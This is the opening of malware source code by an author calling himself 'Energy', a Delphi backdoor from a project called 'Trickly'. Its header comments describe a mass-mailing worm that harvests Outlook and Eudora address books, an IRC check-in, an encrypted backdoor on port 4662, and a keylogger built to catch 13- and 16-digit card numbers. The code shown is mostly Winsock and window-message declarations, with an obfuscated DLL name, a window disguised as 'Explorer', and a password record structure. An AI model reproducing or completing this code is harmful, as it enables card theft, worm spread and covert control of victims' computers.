; Until last month 10/02 i started a New Project (Trickly) ; for any Comments of us ; mail me to SST@Hablas.com ; bye..and I wish you a New Virulent Year ; ; Energy ; ; ;Source code of the Backdoor ->Energy_Trickly_Backdoor.dpr ;Source code of the Worm ->Energy_Trickly_Worm.dpr ; ;Little description: :The worm function scan Outlook and Eudora address book file and after send email. I don't know know if that work with the last versions. ;There is a thread which connect to an irc for see who is online. ;The port 4662(self via Edonkey ect.) is open only when the victim is online and the Wsock32 api call are encrypted and the protocol of the backdoor too. ;The keylogger was design mainly for detect if a 13,16 digit code is tape on the keyboard and after put a flag in the registry (it's surely the big need of money who push me to put this function inside :-). ;The other function are: registry access, file upload/download, windows process, etc.. ; ; Energy_Trickly_Backdoor.dpr program vv; uses Windows; const {winsock const} FD_SETSIZE = 64; IOCPARM_MASK = $7f; IOC_VOID = $20000000; IOC_OUT = $40000000; IOC_IN = $80000000; IOC_INOUT = (IOC_IN or IOC_OUT); FIONREAD = IOC_OUT or { get # bytes to read } ((Longint(SizeOf(Longint)) and IOCPARM_MASK) shl 16) or (Longint(Byte('f')) shl 8) or 127; FIONBIO = IOC_IN or { set/clear non-blocking i/o } ((Longint(SizeOf(Longint)) and IOCPARM_MASK) shl 16) or (Longint(Byte('f')) shl 8) or 126; FIOASYNC = IOC_IN or { set/clear async i/o } ((Longint(SizeOf(Longint)) and IOCPARM_MASK) shl 16) or (Longint(Byte('f')) shl 8) or 125; // Protocols } IPPROTO_IP = 0; { dummy for IP } IPPROTO_ICMP = 1; { control message protocol } IPPROTO_IGMP = 2; { group management protocol } IPPROTO_GGP = 3; { gateway^2 (deprecated) } IPPROTO_TCP = 6; { tcp } IPPROTO_PUP = 12; { pup } IPPROTO_UDP = 17; { user datagram protocol } IPPROTO_IDP = 22; { xns idp } IPPROTO_ND = 77; { UNOFFICIAL net disk proto } IPPROTO_RAW = 255; { raw IP packet } IPPROTO_MAX = 256; IPPORT_RESERVED = 1024; INADDR_ANY = $00000000; INADDR_LOOPBACK = $7F000001; INADDR_BROADCAST = $FFFFFFFF; INADDR_NONE = $FFFFFFFF; WSADESCRIPTION_LEN = 256; WSASYS_STATUS_LEN = 128; TF_DISCONNECT = $01; TF_REUSE_SOCKET = $02; TF_WRITE_BEHIND = $04; IP_OPTIONS = 1; IP_MULTICAST_IF = 2; { set/get IP multicast interface } IP_MULTICAST_TTL = 3; { set/get IP multicast timetolive } IP_MULTICAST_LOOP = 4; { set/get IP multicast loopback } IP_ADD_MEMBERSHIP = 5; { add an IP group membership } IP_DROP_MEMBERSHIP = 6; { drop an IP group membership } IP_TTL = 7; { set/get IP Time To Live } IP_TOS = 8; { set/get IP Type Of Service } IP_DONTFRAGMENT = 9; { set/get IP Don't Fragment flag } IP_DEFAULT_MULTICAST_TTL = 1; { normally limit m'casts to 1 hop } IP_DEFAULT_MULTICAST_LOOP = 1; { normally hear sends if a member } IP_MAX_MEMBERSHIPS = 20; { per socket; must fit in one mbuf } SOCK_STREAM = 1; { stream socket } SOCK_DGRAM = 2; { datagram socket } SOCK_RAW = 3; { raw-protocol interface } SOCK_RDM = 4; { reliably-delivered message } SOCK_SEQPACKET = 5; { sequenced packet stream } SO_DEBUG = $0001; { turn on debugging info recording } SO_ACCEPTCONN = $0002; { socket has had listen() } SO_REUSEADDR = $0004; { allow local address reuse } SO_KEEPALIVE = $0008; { keep connections alive } SO_DONTROUTE = $0010; { just use interface addresses } SO_BROADCAST = $0020; { permit sending of broadcast msgs } SO_USELOOPBACK = $0040; { bypass hardware when possible } SO_LINGER = $0080; { linger on close if data present } SO_OOBINLINE = $0100; { leave received OOB data in line } SO_DONTLINGER = $ff7f; SO_SNDBUF = $1001; { send buffer size } SO_RCVBUF = $1002; { receive buffer size } SO_SNDLOWAT = $1003; { send low-water mark } SO_RCVLOWAT = $1004; { receive low-water mark } SO_SNDTIMEO = $1005; { send timeout } SO_RCVTIMEO = $1006; { receive timeout } SO_ERROR = $1007; { get error status and clear } SO_TYPE = $1008; { get socket type } // SO_CONNDATA = $7000; // SO_CONNOPT = $7001; // SO_DISCDATA = $7002; // SO_DISCOPT = $7003; // SO_CONNDATALEN = $7004; // SO_CONNOPTLEN = $7005; // SO_DISCDATALEN = $7006; // SO_DISCOPTLEN = $7007; // SO_OPENTYPE = $7008; // SO_SYNCHRONOUS_ALERT = $10; // SO_SYNCHRONOUS_NONALERT = $20; // SO_MAXDG = $7009; // SO_MAXPATHDG = $700A; // SO_UPDATE_ACCEPT_CONTEXT = $700B; // SO_CONNECT_TIME = $700C; TCP_NODELAY = $0001; TCP_BSDURGENT = $7000; // AF_UNSPEC = 0; { unspecified } AF_UNIX = 1; { local to host (pipes, portals) } AF_INET = 2; { internetwork: UDP, TCP, etc. } // AF_IMPLINK = 3; { arpanet imp addresses } // AF_PUP = 4; { pup protocols: e.g. BSP } // AF_CHAOS = 5; { mit CHAOS protocols } // AF_IPX = 6; { IPX and SPX } // AF_NS = 6; { XEROX NS protocols } // AF_ISO = 7; { ISO protocols } // AF_OSI = AF_ISO; { OSI is ISO } // AF_ECMA = 8; { european computer manufacturers } // AF_DATAKIT = 9; { datakit protocols } // AF_CCITT = 10; { CCITT protocols, X.25 etc } // AF_SNA = 11; { IBM SNA } // AF_DECnet = 12; { DECnet } // AF_DLI = 13; { Direct data link interface } // AF_LAT = 14; { LAT } // AF_HYLINK = 15; { NSC Hyperchannel } // AF_APPLETALK = 16; { AppleTalk } // AF_NETBIOS = 17; { NetBios-style addresses } // AF_VOICEVIEW = 18; { VoiceView } // AF_FIREFOX = 19; { FireFox } // AF_UNKNOWN1 = 20; { Somebody is using this! } // AF_BAN = 21; { Banyan } // AF_MAX = 22; // PF_UNSPEC = AF_UNSPEC; PF_UNIX = AF_UNIX; PF_INET = AF_INET; // PF_IMPLINK = AF_IMPLINK; // PF_PUP = AF_PUP; // PF_CHAOS = AF_CHAOS; // PF_NS = AF_NS; // PF_IPX = AF_IPX; // PF_ISO = AF_ISO; // PF_OSI = AF_OSI; // PF_ECMA = AF_ECMA; // PF_DATAKIT = AF_DATAKIT; // PF_CCITT = AF_CCITT; // PF_SNA = AF_SNA; // PF_DECnet = AF_DECnet; // PF_DLI = AF_DLI; // PF_LAT = AF_LAT; // PF_HYLINK = AF_HYLINK; // PF_APPLETALK = AF_APPLETALK; // PF_VOICEVIEW = AF_VOICEVIEW; // PF_FIREFOX = AF_FIREFOX; // PF_UNKNOWN1 = AF_UNKNOWN1; // PF_BAN = AF_BAN; // PF_MAX = AF_MAX; SOL_SOCKET = $ffff; {options for socket level } SOMAXCONN = 5;{ Maximum queue length specifiable by listen. } MSG_OOB = $1; {process out-of-band data } MSG_PEEK = $2; {peek at incoming message } MSG_DONTROUTE = $4; {send without using routing tables } MSG_MAXIOVLEN = 16; MSG_PARTIAL = $8000; {partial send or recv for message xport } MAXGETHOSTSTRUCT = 1024; FD_READ = $01; FD_WRITE = $02; FD_OOB = $04; FD_ACCEPT = $08; FD_CONNECT = $10; FD_CLOSE = $20; WSABASEERR = 10000; WSAEINTR = (WSABASEERR+4); WSAEBADF = (WSABASEERR+9); WSAEACCES = (WSABASEERR+13); WSAEFAULT = (WSABASEERR+14); WSAEINVAL = (WSABASEERR+22); WSAEMFILE = (WSABASEERR+24); WSAEWOULDBLOCK = (WSABASEERR+35); WSAEINPROGRESS = (WSABASEERR+36); WSAEALREADY = (WSABASEERR+37); WSAENOTSOCK = (WSABASEERR+38); WSAEDESTADDRREQ = (WSABASEERR+39); WSAEMSGSIZE = (WSABASEERR+40); WSAEPROTOTYPE = (WSABASEERR+41); WSAENOPROTOOPT = (WSABASEERR+42); WSAEPROTONOSUPPORT = (WSABASEERR+43); WSAESOCKTNOSUPPORT = (WSABASEERR+44); WSAEOPNOTSUPP = (WSABASEERR+45); WSAEPFNOSUPPORT = (WSABASEERR+46); WSAEAFNOSUPPORT = (WSABASEERR+47); WSAEADDRINUSE = (WSABASEERR+48); WSAEADDRNOTAVAIL = (WSABASEERR+49); WSAENETDOWN = (WSABASEERR+50); WSAENETUNREACH = (WSABASEERR+51); WSAENETRESET = (WSABASEERR+52); WSAECONNABORTED = (WSABASEERR+53); WSAECONNRESET = (WSABASEERR+54); WSAENOBUFS = (WSABASEERR+55); WSAEISCONN = (WSABASEERR+56); WSAENOTCONN = (WSABASEERR+57); WSAESHUTDOWN = (WSABASEERR+58); WSAETOOMANYREFS = (WSABASEERR+59); WSAETIMEDOUT = (WSABASEERR+60); WSAECONNREFUSED = (WSABASEERR+61); WSAELOOP = (WSABASEERR+62); WSAENAMETOOLONG = (WSABASEERR+63); WSAEHOSTDOWN = (WSABASEERR+64); WSAEHOSTUNREACH = (WSABASEERR+65); WSAENOTEMPTY = (WSABASEERR+66); WSAEPROCLIM = (WSABASEERR+67); WSAEUSERS = (WSABASEERR+68); WSAEDQUOT = (WSABASEERR+69); WSAESTALE = (WSABASEERR+70); WSAEREMOTE = (WSABASEERR+71); WSAEDISCON = (WSABASEERR+101); WSASYSNOTREADY = (WSABASEERR+91); WSAVERNOTSUPPORTED = (WSABASEERR+92); WSANOTINITIALISED = (WSABASEERR+93); WSAHOST_NOT_FOUND = (WSABASEERR+1001); HOST_NOT_FOUND = WSAHOST_NOT_FOUND; WSATRY_AGAIN = (WSABASEERR+1002); TRY_AGAIN = WSATRY_AGAIN; WSANO_RECOVERY = (WSABASEERR+1003); NO_RECOVERY = WSANO_RECOVERY; WSANO_DATA = (WSABASEERR+1004); NO_DATA = WSANO_DATA; WSANO_ADDRESS = WSANO_DATA; NO_ADDRESS = WSANO_ADDRESS; EWOULDBLOCK = WSAEWOULDBLOCK; EINPROGRESS = WSAEINPROGRESS; EALREADY = WSAEALREADY; ENOTSOCK = WSAENOTSOCK; EDESTADDRREQ = WSAEDESTADDRREQ; EMSGSIZE = WSAEMSGSIZE; EPROTOTYPE = WSAEPROTOTYPE; ENOPROTOOPT = WSAENOPROTOOPT; EPROTONOSUPPORT = WSAEPROTONOSUPPORT; ESOCKTNOSUPPORT = WSAESOCKTNOSUPPORT; EOPNOTSUPP = WSAEOPNOTSUPP; EPFNOSUPPORT = WSAEPFNOSUPPORT; EAFNOSUPPORT = WSAEAFNOSUPPORT; EADDRINUSE = WSAEADDRINUSE; EADDRNOTAVAIL = WSAEADDRNOTAVAIL; ENETDOWN = WSAENETDOWN; ENETUNREACH = WSAENETUNREACH; ENETRESET = WSAENETRESET; ECONNABORTED = WSAECONNABORTED; ECONNRESET = WSAECONNRESET; ENOBUFS = WSAENOBUFS; EISCONN = WSAEISCONN; ENOTCONN = WSAENOTCONN; ESHUTDOWN = WSAESHUTDOWN; ETOOMANYREFS = WSAETOOMANYREFS; ETIMEDOUT = WSAETIMEDOUT; ECONNREFUSED = WSAECONNREFUSED; ELOOP = WSAELOOP; ENAMETOOLONG = WSAENAMETOOLONG; EHOSTDOWN = WSAEHOSTDOWN; EHOSTUNREACH = WSAEHOSTUNREACH; ENOTEMPTY = WSAENOTEMPTY; EPROCLIM = WSAEPROCLIM; EUSERS = WSAEUSERS; EDQUOT = WSAEDQUOT; ESTALE = WSAESTALE; EREMOTE = WSAEREMOTE; winsocket = 'vqlgn55&mfg'; //wsock32.dll {messages windows const} WM_NULL = $0000; WM_CREATE = $0001; WM_DESTROY = $0002; WM_MOVE = $0003; WM_SIZE = $0005; WM_ACTIVATE = $0006; WM_SETFOCUS = $0007; WM_KILLFOCUS = $0008; WM_ENABLE = $000A; WM_SETREDRAW = $000B; WM_SETTEXT = $000C; WM_GETTEXT = $000D; WM_GETTEXTLENGTH = $000E; WM_PAINT = $000F; WM_CLOSE = $0010; WM_QUERYENDSESSION = $0011; WM_QUIT = $0012; WM_QUERYOPEN = $0013; WM_ERASEBKGND = $0014; WM_SYSCOLORCHANGE = $0015; WM_ENDSESSION = $0016; WM_SYSTEMERROR = $0017; WM_SHOWWINDOW = $0018; WM_CTLCOLOR = $0019; WM_WININICHANGE = $001A; WM_SETTINGCHANGE = WM_WININICHANGE; WM_DEVMODECHANGE = $001B; WM_ACTIVATEAPP = $001C; WM_FONTCHANGE = $001D; WM_TIMECHANGE = $001E; WM_CANCELMODE = $001F; WM_SETCURSOR = $0020; WM_MOUSEACTIVATE = $0021; WM_CHILDACTIVATE = $0022; WM_QUEUESYNC = $0023; WM_GETMINMAXINFO = $0024; WM_PAINTICON = $0026; WM_ICONERASEBKGND = $0027; WM_NEXTDLGCTL = $0028; WM_SPOOLERSTATUS = $002A; WM_DRAWITEM = $002B; WM_MEASUREITEM = $002C; WM_DELETEITEM = $002D; WM_VKEYTOITEM = $002E; WM_CHARTOITEM = $002F; WM_SETFONT = $0030; WM_GETFONT = $0031; WM_QUERYDRAGICON = $0037; WM_COMPAREITEM = $0039; WM_COMPACTING = $0041; WM_COMMNOTIFY = $0044; { obsolete in Win32} WM_WINDOWPOSCHANGING = $0046; WM_WINDOWPOSCHANGED = $0047; WM_POWER = $0048; WM_COPYDATA = $004A; WM_CANCELJOURNAL = $004B; WM_NOTIFY = $004E; WM_INPUTLANGCHANGEREQUEST = $0050; WM_INPUTLANGCHANGE = $0051; WM_TCARD = $0052; WM_HELP = $0053; WM_USERCHANGED = $0054; WM_NOTIFYFORMAT = $0055; WM_CONTEXTMENU = $007B; WM_STYLECHANGING = $007C; WM_STYLECHANGED = $007D; WM_DISPLAYCHANGE = $007E; WM_GETICON = $007F; WM_SETICON = $0080; WM_NCCREATE = $0081; WM_NCDESTROY = $0082; WM_NCCALCSIZE = $0083; WM_NCHITTEST = $0084; WM_NCPAINT = $0085; WM_NCACTIVATE = $0086; WM_GETDLGCODE = $0087; WM_NCMOUSEMOVE = $00A0; { WM_NCLBUTTONDOWN = $00A1; WM_NCLBUTTONUP = $00A2; WM_NCLBUTTONDBLCLK = $00A3; WM_NCRBUTTONDOWN = $00A4; WM_NCRBUTTONUP = $00A5; WM_NCRBUTTONDBLCLK = $00A6; WM_NCMBUTTONDOWN = $00A7; WM_NCMBUTTONUP = $00A8; WM_NCMBUTTONDBLCLK = $00A9; } WM_KEYFIRST = $0100; WM_KEYDOWN = $0100; WM_KEYUP = $0101; WM_CHAR = $0102; WM_DEADCHAR = $0103; WM_SYSKEYDOWN = $0104; WM_SYSKEYUP = $0105; WM_SYSCHAR = $0106; WM_SYSDEADCHAR = $0107; WM_KEYLAST = $0108; WM_INITDIALOG = $0110; WM_COMMAND = $0111; WM_SYSCOMMAND = $0112; WM_TIMER = $0113; WM_HSCROLL = $0114; WM_VSCROLL = $0115; WM_INITMENU = $0116; WM_INITMENUPOPUP = $0117; WM_MENUSELECT = $011F; WM_MENUCHAR = $0120; WM_ENTERIDLE = $0121; WM_CTLCOLORMSGBOX = $0132; WM_CTLCOLOREDIT = $0133; WM_CTLCOLORLISTBOX = $0134; WM_CTLCOLORBTN = $0135; WM_CTLCOLORDLG = $0136; WM_CTLCOLORSCROLLBAR= $0137; WM_CTLCOLORSTATIC = $0138; WM_MOUSEFIRST = $0200; WM_MOUSEMOVE = $0200; WM_LBUTTONDOWN = $0201; WM_LBUTTONUP = $0202; WM_LBUTTONDBLCLK = $0203; WM_RBUTTONDOWN = $0204; WM_RBUTTONUP = $0205; WM_RBUTTONDBLCLK = $0206; WM_MBUTTONDOWN = $0207; WM_MBUTTONUP = $0208; WM_MBUTTONDBLCLK = $0209; WM_MOUSEWHEEL = $020A; WM_MOUSELAST = $020A; WM_PARENTNOTIFY = $0210; WM_ENTERMENULOOP = $0211; WM_EXITMENULOOP = $0212; WM_NEXTMENU = $0213; WM_SIZING = 532; WM_CAPTURECHANGED = 533; WM_MOVING = 534; WM_POWERBROADCAST = 536; WM_DEVICECHANGE = 537; { WM_IME_STARTCOMPOSITION = $010D; WM_IME_ENDCOMPOSITION = $010E; WM_IME_COMPOSITION = $010F; WM_IME_KEYLAST = $010F; WM_IME_SETCONTEXT = $0281; WM_IME_NOTIFY = $0282; WM_IME_CONTROL = $0283; WM_IME_COMPOSITIONFULL = $0284; WM_IME_SELECT = $0285; WM_IME_CHAR = $0286; WM_IME_KEYDOWN = $0290; WM_IME_KEYUP = $0291; WM_MDICREATE = $0220; WM_MDIDESTROY = $0221; WM_MDIACTIVATE = $0222; WM_MDIRESTORE = $0223; WM_MDINEXT = $0224; WM_MDIMAXIMIZE = $0225; WM_MDITILE = $0226; WM_MDICASCADE = $0227; WM_MDIICONARRANGE = $0228; WM_MDIGETACTIVE = $0229; WM_MDISETMENU = $0230; WM_ENTERSIZEMOVE = $0231; WM_EXITSIZEMOVE = $0232; WM_DROPFILES = $0233; WM_MDIREFRESHMENU = $0234; } WM_MOUSEHOVER = $02A1; WM_MOUSELEAVE = $02A3; WM_CUT = $0300; WM_COPY = $0301; WM_PASTE = $0302; WM_CLEAR = $0303; WM_UNDO = $0304; WM_PAINTCLIPBOARD = $0309; WM_PRINT = 791; WM_PRINTCLIENT = 792; WM_HANDHELDFIRST = 856; WM_HANDHELDLAST = 863; WM_PENWINFIRST = $0380; WM_PENWINLAST = $038F; WM_COALESCE_FIRST = $0390; WM_COALESCE_LAST = $039F; WM_DDE_FIRST = $03E0; WM_DDE_INITIATE = WM_DDE_FIRST + 0; WM_DDE_TERMINATE = WM_DDE_FIRST + 1; WM_DDE_ADVISE = WM_DDE_FIRST + 2; WM_DDE_UNADVISE = WM_DDE_FIRST + 3; WM_DDE_ACK = WM_DDE_FIRST + 4; WM_DDE_DATA = WM_DDE_FIRST + 5; WM_DDE_REQUEST = WM_DDE_FIRST + 6; WM_DDE_POKE = WM_DDE_FIRST + 7; WM_DDE_EXECUTE = WM_DDE_FIRST + 8; WM_DDE_LAST = WM_DDE_FIRST + 8; WM_APP = $8000; WM_USER = $0400; UM_KEYHIT = WM_USER + 7; //keylog const ERROR = '|ERROR:'; ALLDONE = 'All done.'; //VER_PLATFORM_WIN32s = 0; //V/ER_PLATFORM_WIN32_WINDOWS = 1; //VER_PLATFORM_WIN32_NT = 2; Count : integer = 0; lpzClassName = 'Explorer '; lpzWindowsName = 'Explorer '; WM_MY_SOCK_MESSAGE = WM_USER+2; LFCR = #10#13; { File open modes } fmOpenRead = $0000; fmOpenWrite = $0001; fmOpenReadWrite = $0002; fmShareCompat = $0000; fmShareExclusive = $0010; fmShareDenyWrite = $0020; fmShareDenyRead = $0030; fmShareDenyNone = $0040; { File attribute constants } faReadOnly = $00000001; faHidden = $00000002; faSysFile = $00000004; faVolumeID = $00000008; faDirectory = $00000010; faArchive = $00000020; faAnyFile = $0000003F; {prog type} type PWinPassword = ^TWinPassword; TWinPassword = record EntrySize: Word; ResourceSize: Word; PasswordSize: Word; EntryIndex: Byte; EntryType: Byte; PasswordC: Char; end; {winsock type} type u_char = Char; u_short = Word; u_int = Integer; u_long = Longint; TSocket = u_int; type PFDSet = ^TFDSet; TFDSet = packed record fd_count: u_int; fd_array: array[0..FD_SETSIZE-1] of TSocket; end; PTimeVal = ^TTimeVal; TTimeVal = packed record tv_sec: Longint; tv_usec: Longint; end; type PHostEnt = ^THostEnt; THostEnt = packed record h_name: PChar; h_aliases: ^PChar; h_addrtype: Smallint; h_length: Smallint; case Byte of 0: (h_addr_list: ^PChar); 1: (h_addr: ^PChar) end; PNetEnt = ^TNetEnt; TNetEnt = packed record n_name: PChar; n_aliases: ^PChar; n_addrtype: Smallint; n_net: u_long; end; PServEnt = ^TServEnt; TServEnt = packed record s_name: PChar; s_aliases: ^PChar; s_port: Smallint; s_proto: PChar; end; PProtoEnt = ^TProtoEnt; TProtoEnt = packed record p_name: PChar; p_aliases: ^Pchar; p_proto: Smallint; end; type SunB = packed record s_b1, s_b2, s_b3, s_b4: u_char; end; SunW = packed record s_w1, s_w2: u_short; end; PInAddr = ^TInAddr; TInAddr = packed record case integer of 0: (S_un_b: SunB); 1: (S_un_w: SunW); 2: (S_addr: u_long); end; PSockAddrIn = ^TSockAddrIn; TSockAddrIn = packed record case Integer of 0: (sin_family: u_short; sin_port: u_short; sin_addr: TInAddr; sin_zero: array[0..7] of Char); 1: (sa_family: u_short; sa_data: array[0..13] of Char) end; type PWSAData = ^TWSAData; TWSAData = packed record wVersion: Word; wHighVersion: Word; szDescription: array[0..WSADESCRIPTION_LEN] of Char; szSystemStatus: array[0..WSASYS_STATUS_LEN] of Char; iMaxSockets: Word; iMaxUdpDg: Word; lpVendorInfo: PChar; end; PTransmitFileBuffers = ^TTransmitFileBuffers; TTransmitFileBuffers = packed record Head: Pointer; HeadLength: DWORD; Tail: Pointer; TailLength: DWORD; end; type { Structure used by kernel to store most addresses. } PSockAddr = ^TSockAddr; TSockAddr = TSockAddrIn; { Structure used by kernel to pass protocol information in raw sockets. } PSockProto = ^TSockProto; TSockProto = packed record sp_family: u_short; sp_protocol: u_short; end; type { Structure used for manipulating linger option. } PLinger = ^TLinger; TLinger = packed record l_onoff: u_short; l_linger: u_short; end; const INVALID_SOCKET = TSocket(NOT(0)); SOCKET_ERROR = -1; {type window message record} type PMessage = ^TMessage; TMessage = record Msg: Cardinal; case Integer of 0: ( WParam: Longint; LParam: Longint; Result: Longint); 1: ( WParamLo: Word; WParamHi: Word; LParamLo: Word; LParamHi: Word; ResultLo: Word; ResultHi: Word); end; { Common message format records } TWMNoParams = record Msg: Cardinal; Unused: array[0..3] of Word; Result: Longint; end; TWMKey = record Msg: Cardinal; CharCode: Word; Unused: Word; KeyData: Longint; Result: Longint; end; TWMMouse = record Msg: Cardinal; Keys: Longint; case Integer of 0: ( XPos: Smallint; YPos: Smallint); 1: ( Pos: TSmallPoint; Result: Longint); end; TWMWindowPosMsg = record Msg: Cardinal; Unused: Integer; WindowPos: PWindowPos; Result: Longint; end; TWMScroll = record Msg: Cardinal; ScrollCode: Smallint; { SB_xxxx } Pos: Smallint; ScrollBar: HWND; Result: Longint; end; { Message records } TWMActivate = record Msg: Cardinal; Active: Word; { WA_INACTIVE, WA_ACTIVE, WA_CLICKACTIVE } Minimized: WordBool; ActiveWindow: HWND; Result: Longint; end; TWMActivateApp = record Msg: Cardinal; Active: BOOL; ThreadId: Longint; Result: Longint; end; TWMAskCBFormatName = record Msg: Cardinal; NameLen: Word; Unused: Word; FormatName: PChar; Result: Longint; end; TWMCancelMode = TWMNoParams; TWMChangeCBChain = record Msg: Cardinal; Remove: HWND; Next: HWND; Result: Longint; end; TWMChar = TWMKey; TWMCharToItem = record Msg: Cardinal; Key: Word; CaretPos: Word; ListBox: HWND; Result: Longint; end; TWMChildActivate = TWMNoParams; TWMChooseFont_GetLogFont = record Msg: Cardinal; Unused: Longint; LogFont: PLogFont; Result: Longint; end; TWMClear = TWMNoParams; TWMClose = TWMNoParams; TWMCommand = record Msg: Cardinal; ItemID: Word; NotifyCode: Word; Ctl: HWND; Result: Longint; end; TWMCompacting = record Msg: Cardinal; CompactRatio: Longint; Unused: Longint; Result: Longint; end; TWMCompareItem = record Msg: Cardinal; Ctl: HWnd; CompareItemStruct: PCompareItemStruct; Result: Longint; end; TWMCopy = TWMNoParams; TWMCopyData = record Msg: Cardinal; From: HWND; CopyDataStruct: PCopyDataStruct; Result: Longint; end; { ?? WM_CLP_LAUNCH, WM_CPL_LAUNCHED } TWMCreate = record Msg: Cardinal; Unused: Integer; CreateStruct: PCreateStruct; Result: Longint; end; TWMCtlColor = record Msg: Cardinal; ChildDC: HDC; ChildWnd: HWND; Result: Longint; end; TWMCtlColorBtn = TWMCtlColor; TWMCtlColorDlg = TWMCtlColor; TWMCtlColorEdit = TWMCtlColor; TWMCtlColorListbox = TWMCtlColor; TWMCtlColorMsgbox = TWMCtlColor; TWMCtlColorScrollbar = TWMCtlColor; TWMCtlColorStatic = TWMCtlColor; TWMCut = TWMNoParams; TWMDDE_Ack = record Msg: Cardinal; PostingApp: HWND; case Word of WM_DDE_INITIATE: ( App: Word; Topic: Word; Result: Longint); WM_DDE_EXECUTE {and all others}: ( PackedVal: Longint); end; TWMDDE_Advise = record Msg: Cardinal; PostingApp: HWND; PackedVal: Longint; Result: Longint; end; TWMDDE_Data = record Msg: Cardinal; PostingApp: HWND; PackedVal: Longint; Result: Longint; end; TWMDDE_Execute = record Msg: Cardinal; PostingApp: HWND; Commands: THandle; Result: Longint; end; TWMDDE_Initiate = record Msg: Cardinal; PostingApp: HWND; App: Word; Topic: Word; Result: Longint; end; TWMDDE_Poke = record Msg: Cardinal; PostingApp: HWND; PackedVal: Longint; Result: Longint; end; TWMDDE_Request = record Msg: Cardinal; PostingApp: HWND; Format: Word; Item: Word; Result: Longint; end; TWMDDE_Terminate = record Msg: Cardinal; PostingApp: HWND; Unused: Longint; Result: Longint; end; TWMDDE_Unadvise = record Msg: Cardinal; PostingApp: HWND; Format: Word; Item: Word; Result: Longint; end; TWMDeadChar = TWMChar; TWMDeleteItem = record Msg: Cardinal; Ctl: HWND; DeleteItemStruct: PDeleteItemStruct; Result: Longint; end; TWMDestroy = TWMNoParams; TWMDestroyClipboard = TWMNoParams; TWMDevModeChange = record Msg: Cardinal; Unused: Integer; Device: PChar; Result: Longint; end; TWMDrawClipboard = TWMNoParams; { TWMDropFiles = record Msg: Cardinal; Drop: THANDLE; Unused: Longint; Result: Longint; end; } TWMEnable = record Msg: Cardinal; Enabled: LongBool; Unused: Longint; Result: Longint; end; TWMEndSession = record Msg: Cardinal; EndSession: LongBool; Unused: Longint; Result: Longint; end; TWMEnterIdle = record Msg: Cardinal; Source: Longint; { MSGF_DIALOGBOX, MSGF_MENU } IdleWnd: HWND; Result: Longint; end; TWMEnterMenuLoop = record Msg: Cardinal; IsTrackPopupMenu: LongBool; Unused: Longint; Result: Longint; end; TWMExitMenuLoop = TWMEnterMenuLoop; TWMEraseBkgnd = record Msg: Cardinal; DC: HDC; Unused: Longint; Result: Longint; end; TWMFontChange = TWMNoParams; TWMGetDlgCode = TWMNoParams; TWMGetFont = TWMNoParams; TWMGetIcon = record Msg: Cardinal; BigIcon: Longbool; Unused: Longint; Result: Longint; end; TWMGetText = record Msg: Cardinal; TextMax: Integer; Text: PChar; Result: Longint; end; TWMGetTextLength = TWMNoParams; { TWMHotKey = record Msg: Cardinal; HotKey: Longint; Unused: Longint; Result: Longint; end; } TWMHScroll = TWMScroll; TWMHScrollClipboard = record Msg: Cardinal; Viewer: HWND; ScrollCode: Word; {SB_BOTTOM, SB_ENDSCROLL, SB_LINEDOWN, SB_LINEUP, SB_PAGEDOWN, SB_PAGEUP, SB_THUMBPOSITION, SB_THUMBTRACK, SB_TOP } Pos: Word; Result: Longint; end; TWMIconEraseBkgnd = TWMEraseBkgnd; TWMInitDialog = record Msg: Cardinal; Focus: HWND; InitParam: Longint; Result: Longint; end; TWMInitMenu = record Msg: Cardinal; Menu: HMENU; Unused: Longint; Result: Longint; end; TWMInitMenuPopup = record Msg: Cardinal; MenuPopup: HMENU; Pos: Smallint; SystemMenu: WordBool; Result: Longint; end; TWMKeyDown = TWMKey; TWMKeyUp = TWMKey; TWMKillFocus = record Msg: Cardinal; FocusedWnd: HWND; Unused: Longint; Result: Longint; end; TWMLButtonDblClk = TWMMouse; TWMLButtonDown = TWMMouse; TWMLButtonUp = TWMMouse; TWMMButtonDblClk = TWMMouse; TWMMButtonDown = TWMMouse; TWMMButtonUp = TWMMouse; TWMMDIActivate = record Msg: Cardinal; case Integer of 0: ( ChildWnd: HWND); 1: ( DeactiveWnd: HWND; ActiveWnd: HWND; Result: Longint); end; TWMMDICascade = record Msg: Cardinal; Cascade: Longint; { 0, MDITILE_SKIPDISABLED } Unused: Longint; Result: Longint; end; TWMMDICreate = record Msg: Cardinal; Unused: Integer; MDICreateStruct: PMDICreateStruct; Result: Longint; end; TWMMDIDestroy = record Msg: Cardinal; Child: HWND; Unused: Longint; Result: Longint; end; TWMMDIGetActive = TWMNoParams; TWMMDIIconArrange = TWMNoParams; TWMMDIMaximize = record Msg: Cardinal; Maximize: HWND; Unused: Longint; Result: Longint; end; TWMMDINext = record Msg: Cardinal; Child: HWND; Next: Longint; Result: Longint; end; TWMMDIRefreshMenu = TWMNoParams; TWMMDIRestore = record Msg: Cardinal; IDChild: HWND; Unused: Longint; Result: Longint; end; TWMMDISetMenu = record Msg: Cardinal; MenuFrame: HMENU; MenuWindow: HMENU; Result: Longint; end; TWMMDITile = record Msg: Cardinal; Tile: Longint; { MDITILE_HORIZONTAL, MDITILE_SKIPDISABLE, MDITILE_VERTICAL } Unused: Longint; Result: Longint; end; TWMMenuChar = record Msg: Cardinal; User: Char; Unused: Byte; MenuFlag: Word; { MF_POPUP, MF_SYSMENU } Menu: HMENU; Result: Longint; end; TWMMenuSelect = record Msg: Cardinal; IDItem: Word; MenuFlag: Word; { MF_BITMAP, MF_CHECKED, MF_DISABLED, MF_GRAYED, MF_MOUSESELECT, MF_OWNERDRAW, MF_POPUP, MF_SEPARATOR, MF_SYSMENU } Menu: HMENU; Result: Longint; end; TWMMouseActivate = record Msg: Cardinal; TopLevel: HWND; HitTestCode: Word; MouseMsg: Word; Result: Longint; end; TWMMouseMove = TWMMouse; TWMMove = record Msg: Cardinal; Unused: Integer; case Integer of 0: ( XPos: Smallint; YPos: Smallint); 1: ( Pos: TSmallPoint; Result: Longint); end; TWMNCActivate = record Msg: Cardinal; Active: BOOL; Unused: Longint; Result: Longint; end; TWMNCCalcSize = record Msg: Cardinal; CalcValidRects: BOOL; CalcSize_Params: PNCCalcSizeParams; Result: Longint; end; TWMNCCreate = record Msg: Cardinal; Unused: Integer; CreateStruct: PCreateStruct; Result: Longint; end; TWMNCDestroy = TWMNoParams; TWMNCHitTest = record Msg: Cardinal; Unused: Longint; case Integer of 0: ( XPos: Smallint; YPos: Smallint); 1: ( Pos: TSmallPoint; Result: Longint); end; TWMNCHitMessage = record Msg: Cardinal; HitTest: Longint; XCursor: Smallint; YCursor: Smallint; Result: Longint; end; 